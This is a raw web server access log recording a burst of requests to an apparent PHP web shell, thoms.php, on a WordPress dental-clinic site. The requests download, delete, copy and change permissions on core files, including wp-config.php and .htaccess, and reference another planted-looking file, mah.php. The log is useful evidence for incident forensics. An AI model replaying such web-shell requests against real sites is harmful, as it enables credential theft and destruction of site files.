45.135.193.11 - - [11/Sep/2026:22:39:09 -0400] "GET /beauty-dental.com.tw/release-endpoint/ HTTP/1.1" 200 6444 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:09 -0400] "GET /thoms.php?dl=wp-trackback.php&p=beauty-dental.com.tw HTTP/1.1" 200 17426 "http://163.245.207.76:443/thoms.php?dl=wp-trackback.php&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:09 -0400] "GET /thoms.php?del=xmlrpc.php&p=beauty-dental.com.tw HTTP/1.1" 200 17331 "http://163.245.207.76:443/thoms.php?del=xmlrpc.php&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:09 -0400] "GET /thoms.php?p=beauty-dental.com.tw%2Fsession-migration HTTP/1.1" 200 13141 "http://163.245.207.76:443/thoms.php?p=beauty-dental.com.tw%2Fsession-migration" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:09 -0400] "GET /thoms.php?dl=locoy.php&p=beauty-dental.com.tw HTTP/1.1" 200 17381 "http://163.245.207.76:443/thoms.php?dl=locoy.php&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:09 -0400] "GET /beauty-dental.com.tw/wp-blog-header.php HTTP/1.1" 404 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:09 -0400] "GET /thoms.php?del=wp-activate.php&p=beauty-dental.com.tw HTTP/1.1" 200 17382 "http://163.245.207.76:443/thoms.php?del=wp-activate.php&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:10 -0400] "GET /beauty-dental.com.tw/license.txt HTTP/1.1" 200 7276 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:10 -0400] "GET /thoms.php?del=wp-comments-post.php&p=beauty-dental.com.tw HTTP/1.1" 200 17382 "http://163.245.207.76:443/thoms.php?del=wp-comments-post.php&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:10 -0400] "GET /thoms.php?copy=beauty-dental.com.tw%2Fwp-includes&p= HTTP/1.1" 200 11823 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw%2Fwp-includes&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:10 -0400] "GET /thoms.php?dl=readme.html&p=beauty-dental.com.tw HTTP/1.1" 200 17382 "http://163.245.207.76:443/thoms.php?dl=readme.html&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:10 -0400] "GET /thoms.php?dl=thoms.php&p=beauty-dental.com.tw HTTP/1.1" 200 17381 "http://163.245.207.76:443/thoms.php?dl=thoms.php&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:10 -0400] "GET /thoms.php?p=beauty-dental.com.tw&view=wp-login.php HTTP/1.1" 200 29046 "http://163.245.207.76:443/thoms.php?p=beauty-dental.com.tw&view=wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:10 -0400] "GET /thoms.php?chmod=wp-mail.php&p=beauty-dental.com.tw HTTP/1.1" 200 11498 "http://163.245.207.76:443/thoms.php?chmod=wp-mail.php&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:10 -0400] "GET /beauty-dental.com.tw/thoms.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:10 -0400] "GET /thoms.php?dl=.htaccess&p=beauty-dental.com.tw HTTP/1.1" 200 17382 "http://163.245.207.76:443/thoms.php?dl=.htaccess&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:10 -0400] "GET /beauty-dental.com.tw/index.php HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:10 -0400] "GET /thoms.php?p=beauty-dental.com.tw%2Fcgi-bin HTTP/1.1" 200 12046 "http://163.245.207.76:443/thoms.php?p=beauty-dental.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:10 -0400] "GET /beauty-dental.com.tw/thoms.php?p= HTTP/1.1" 200 17954 "https://163.245.207.76/beauty-dental.com.tw/thoms.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:10 -0400] "GET /beauty-dental.com.tw/wp-comments-post.php HTTP/1.1" 405 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:10 -0400] "GET /beauty-dental.com.tw/ HTTP/1.1" 404 12596 "https://163.245.207.76/beauty-dental.com.tw/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:10 -0400] "GET /beauty-dental.com.tw/wp-signup.php HTTP/1.1" 500 1182 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:10 -0400] "GET /thoms.php?chmod=wp-config.php&p=beauty-dental.com.tw HTTP/1.1" 200 11494 "http://163.245.207.76:443/thoms.php?chmod=wp-config.php&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:10 -0400] "GET /thoms.php?chmod=xmlrpc.php&p=beauty-dental.com.tw HTTP/1.1" 200 11485 "http://163.245.207.76:443/thoms.php?chmod=xmlrpc.php&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:11 -0400] "GET /thoms.php?copy=beauty-dental.com.tw%2Fupgrade&p= HTTP/1.1" 200 11821 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw%2Fupgrade&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:11 -0400] "GET /thoms.php?p=beauty-dental.com.tw&view=wp-activate.php HTTP/1.1" 200 14822 "http://163.245.207.76:443/thoms.php?p=beauty-dental.com.tw&view=wp-activate.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:11 -0400] "GET /thoms.php?p=beauty-dental.com.tw&view=wp-blog-header.php HTTP/1.1" 200 12033 "http://163.245.207.76:443/thoms.php?p=beauty-dental.com.tw&view=wp-blog-header.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:11 -0400] "GET /thoms.php?dl=wp-signup.php&p=beauty-dental.com.tw HTTP/1.1" 200 17373 "http://163.245.207.76:443/thoms.php?dl=wp-signup.php&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:11 -0400] "GET /thoms.php?dl=xmlrpc.php&p=beauty-dental.com.tw HTTP/1.1" 200 17379 "http://163.245.207.76:443/thoms.php?dl=xmlrpc.php&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:11 -0400] "GET /thoms.php?copy=beauty-dental.com.tw%2F.htaccess&p=beauty-dental.com.tw HTTP/1.1" 200 11467 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw%2F.htaccess&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:11 -0400] "GET /thoms.php?del=.well-known&p=beauty-dental.com.tw HTTP/1.1" 200 17380 "http://163.245.207.76:443/thoms.php?del=.well-known&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:11 -0400] "GET /beauty-dental.com.tw/wp-includes/ HTTP/1.1" 200 9378 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:11 -0400] "GET /thoms.php?del=session-migration&p=beauty-dental.com.tw HTTP/1.1" 200 17381 "http://163.245.207.76:443/thoms.php?del=session-migration&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:11 -0400] "GET /thoms.php?dl=wp-comments-post.php&p=beauty-dental.com.tw HTTP/1.1" 200 17381 "http://163.245.207.76:443/thoms.php?dl=wp-comments-post.php&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:11 -0400] "GET /thoms.php?del=wp-cron.php&p=beauty-dental.com.tw HTTP/1.1" 200 17381 "http://163.245.207.76:443/thoms.php?del=wp-cron.php&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:11 -0400] "GET /thoms.php?chmod=wp-login.php&p=beauty-dental.com.tw HTTP/1.1" 200 11496 "http://163.245.207.76:443/thoms.php?chmod=wp-login.php&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:11 -0400] "GET /beauty-dental.com.tw/wp-settings.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:11 -0400] "GET /beauty-dental.com.tw/wp-config.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:11 -0400] "GET /thoms.php?copy=beauty-dental.com.tw%2Frelease-endpoint&p= HTTP/1.1" 200 11831 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw%2Frelease-endpoint&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:12 -0400] "GET /thoms.php?chmod=wp-signup.php&p=beauty-dental.com.tw HTTP/1.1" 200 11499 "http://163.245.207.76:443/thoms.php?chmod=wp-signup.php&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:12 -0400] "GET /beauty-dental.com.tw/xmlrpc.php HTTP/1.1" 405 62 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:12 -0400] "GET /thoms.php?del=wp-signup.php&p=beauty-dental.com.tw HTTP/1.1" 200 17379 "http://163.245.207.76:443/thoms.php?del=wp-signup.php&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:12 -0400] "GET /thoms.php?p=beauty-dental.com.tw&view=error_log HTTP/1.1" 200 14668 "http://163.245.207.76:443/thoms.php?p=beauty-dental.com.tw&view=error_log" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:12 -0400] "GET /beauty-dental.com.tw/mah.php HTTP/1.1" 200 1941 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:12 -0400] "GET /beauty-dental.com.tw/wp-content/ HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:12 -0400] "GET /thoms.php?p=beauty-dental.com.tw&view=index.php HTTP/1.1" 200 12057 "http://163.245.207.76:443/thoms.php?p=beauty-dental.com.tw&view=index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:12 -0400] "GET /thoms.php?copy=beauty-dental.com.tw%2F.well-known&p= HTTP/1.1" 200 11824 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw%2F.well-known&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:12 -0400] "GET /thoms.php?del=wp-blog-header.php&p=beauty-dental.com.tw HTTP/1.1" 200 17374 "http://163.245.207.76:443/thoms.php?del=wp-blog-header.php&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:12 -0400] "GET /beauty-dental.com.tw/session-migration/ HTTP/1.1" 200 6289 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:12 -0400] "GET /thoms.php?del=readme.html&p=beauty-dental.com.tw HTTP/1.1" 200 17372 "http://163.245.207.76:443/thoms.php?del=readme.html&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:12 -0400] "GET /thoms.php?chmod=wp-comments-post.php&p=beauty-dental.com.tw HTTP/1.1" 200 11491 "http://163.245.207.76:443/thoms.php?chmod=wp-comments-post.php&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:12 -0400] "GET /thoms.php?del=wp-settings.php&p=beauty-dental.com.tw HTTP/1.1" 200 17373 "http://163.245.207.76:443/thoms.php?del=wp-settings.php&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:12 -0400] "GET /thoms.php?copy=beauty-dental.com.tw%2Fmah.php&p=beauty-dental.com.tw HTTP/1.1" 200 11482 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw%2Fmah.php&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:12 -0400] "GET /thoms.php?chmod=wp-activate.php&p=beauty-dental.com.tw HTTP/1.1" 200 11488 "http://163.245.207.76:443/thoms.php?chmod=wp-activate.php&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:12 -0400] "GET /thoms.php?p=beauty-dental.com.tw%2Fwp-admin HTTP/1.1" 200 28715 "http://163.245.207.76:443/thoms.php?p=beauty-dental.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:13 -0400] "GET /thoms.php?copy=beauty-dental.com.tw%2Fwp-config-sample.php&p=beauty-dental.com.tw HTTP/1.1" 200 11478 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw%2Fwp-config-sample.php&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:13 -0400] "GET /thoms.php?p=beauty-dental.com.tw&view=wp-links-opml.php HTTP/1.1" 200 13111 "http://163.245.207.76:443/thoms.php?p=beauty-dental.com.tw&view=wp-links-opml.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:13 -0400] "GET /thoms.php?del=wp-config.php&p=beauty-dental.com.tw HTTP/1.1" 200 17371 "http://163.245.207.76:443/thoms.php?del=wp-config.php&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:13 -0400] "GET /thoms.php?copy=beauty-dental.com.tw%2Fwp-load.php&p=beauty-dental.com.tw HTTP/1.1" 200 11483 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw%2Fwp-load.php&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:13 -0400] "GET /thoms.php?p=beauty-dental.com.tw&upload= HTTP/1.1" 200 12171 "http://163.245.207.76:443/thoms.php?p=beauty-dental.com.tw&upload=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:13 -0400] "GET /thoms.php?chmod=locoy.php&p=beauty-dental.com.tw HTTP/1.1" 200 11496 "http://163.245.207.76:443/thoms.php?chmod=locoy.php&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:13 -0400] "GET /beauty-dental.com.tw/wp-cron.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:13 -0400] "GET /thoms.php?p=beauty-dental.com.tw&view=readme.html HTTP/1.1" 200 15251 "http://163.245.207.76:443/thoms.php?p=beauty-dental.com.tw&view=readme.html" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:13 -0400] "GET /thoms.php?copy=beauty-dental.com.tw%2Freadme.html&p=beauty-dental.com.tw HTTP/1.1" 200 11469 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw%2Freadme.html&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:13 -0400] "GET /beauty-dental.com.tw/wp-trackback.php HTTP/1.1" 404 157 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:13 -0400] "GET /thoms.php?copy=beauty-dental.com.tw%2Fcgi-bin&p= HTTP/1.1" 200 11820 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw%2Fcgi-bin&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:13 -0400] "GET /thoms.php?del=release-endpoint&p=beauty-dental.com.tw HTTP/1.1" 200 17378 "http://163.245.207.76:443/thoms.php?del=release-endpoint&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:13 -0400] "GET /thoms.php?copy=beauty-dental.com.tw%2Fwp-admin&p= HTTP/1.1" 200 11805 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw%2Fwp-admin&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:13 -0400] "GET /thoms.php?dl=error_log&p=beauty-dental.com.tw HTTP/1.1" 200 17378 "http://163.245.207.76:443/thoms.php?dl=error_log&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:13 -0400] "GET /thoms.php?copy=beauty-dental.com.tw%2Fthoms.php&p=beauty-dental.com.tw HTTP/1.1" 200 11481 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw%2Fthoms.php&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:14 -0400] "GET /thoms.php?p=beauty-dental.com.tw&view=wp-mail.php HTTP/1.1" 200 15364 "http://163.245.207.76:443/thoms.php?p=beauty-dental.com.tw&view=wp-mail.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:14 -0400] "GET /thoms.php?dl=index.php&p=beauty-dental.com.tw HTTP/1.1" 200 17378 "http://163.245.207.76:443/thoms.php?dl=index.php&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:14 -0400] "GET /thoms.php?chmod=wp-cron.php&p=beauty-dental.com.tw HTTP/1.1" 200 11497 "http://163.245.207.76:443/thoms.php?chmod=wp-cron.php&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:14 -0400] "GET /thoms.php?dl=mah.php&p=beauty-dental.com.tw HTTP/1.1" 200 17379 "http://163.245.207.76:443/thoms.php?dl=mah.php&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:14 -0400] "GET /thoms.php?del=wp-mail.php&p=beauty-dental.com.tw HTTP/1.1" 200 17379 "http://163.245.207.76:443/thoms.php?del=wp-mail.php&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:14 -0400] "GET /beauty-dental.com.tw/wp-mail.php HTTP/1.1" 403 1196 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:14 -0400] "GET /thoms.php?p=beauty-dental.com.tw%2F.well-known HTTP/1.1" 200 12602 "http://163.245.207.76:443/thoms.php?p=beauty-dental.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:14 -0400] "GET /thoms.php?del=wp-content&p=beauty-dental.com.tw HTTP/1.1" 200 17379 "http://163.245.207.76:443/thoms.php?del=wp-content&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:14 -0400] "GET /thoms.php?p=beauty-dental.com.tw&view=license.txt HTTP/1.1" 200 20081 "http://163.245.207.76:443/thoms.php?p=beauty-dental.com.tw&view=license.txt" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:14 -0400] "GET /thoms.php?copy=beauty-dental.com.tw%2Fwp-comments-post.php&p=beauty-dental.com.tw HTTP/1.1" 200 11481 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw%2Fwp-comments-post.php&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
